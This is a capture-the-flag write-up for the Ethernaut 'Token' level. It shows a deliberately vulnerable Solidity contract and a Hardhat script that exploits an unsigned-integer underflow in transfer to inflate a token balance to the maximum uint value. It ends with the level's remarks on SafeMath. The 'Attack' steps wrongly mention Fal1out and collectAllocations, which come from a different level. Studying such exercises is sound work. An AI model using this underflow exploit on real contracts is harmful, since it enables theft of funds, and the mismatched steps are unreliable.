Ethernaut #05 Token
Token
Challenge
The goal of this level is for you to hack the basic token contract below.
You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.
Things that might help:
- What is an odometer?
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
Background
This is a simple integer overflow bug. The statement require(balances[msg.sender] - _value >= 0);
is always true since balances
is a uint
Attack
Call transfer with any amount to trigger an integer overflow.
- call
Fal1out
to become the owner - call
collectAllocations
collect any funds
token-solve.js
const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");
async function main() {
tokenAddress = "0xe4452a79b5094A91f8A00Fd65aF30e7745730e29";
contract = await ethers.getContractAt("Token", tokenAddress);
const accounts = await hre.ethers.getSigners();
account = accounts[0];
console.log("Level address : " + contract.address)
console.log("Token Balance : " + await contract.balanceOf(account.address))
// transfer token funds
tx = await contract.connect(account).transfer("0x0000000000000000000000000000000000000000", 21)
receipt = await tx.wait()
console.log("Token Balance : " + await contract.balanceOf(account.address))
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
$ npx hardhat run scripts/token-solve.js --network rinkeby
Level address : 0xe4452a79b5094A91f8A00Fd65aF30e7745730e29
Token Balance : 20
Token Balance : 115792089237316195423570985008687907853269984665640564039457584007913129639935
Success Message
Overflows are very common in solidity and must be checked for with control statements such as:
if(a + c > a) {
a = a + c;
}
An easier alternative is to use OpenZeppelin’s SafeMath library that automatically checks for overflows in all the mathematical operators. The resulting code looks like this:
a = a.add(c);
If there is an overflow, the code will revert.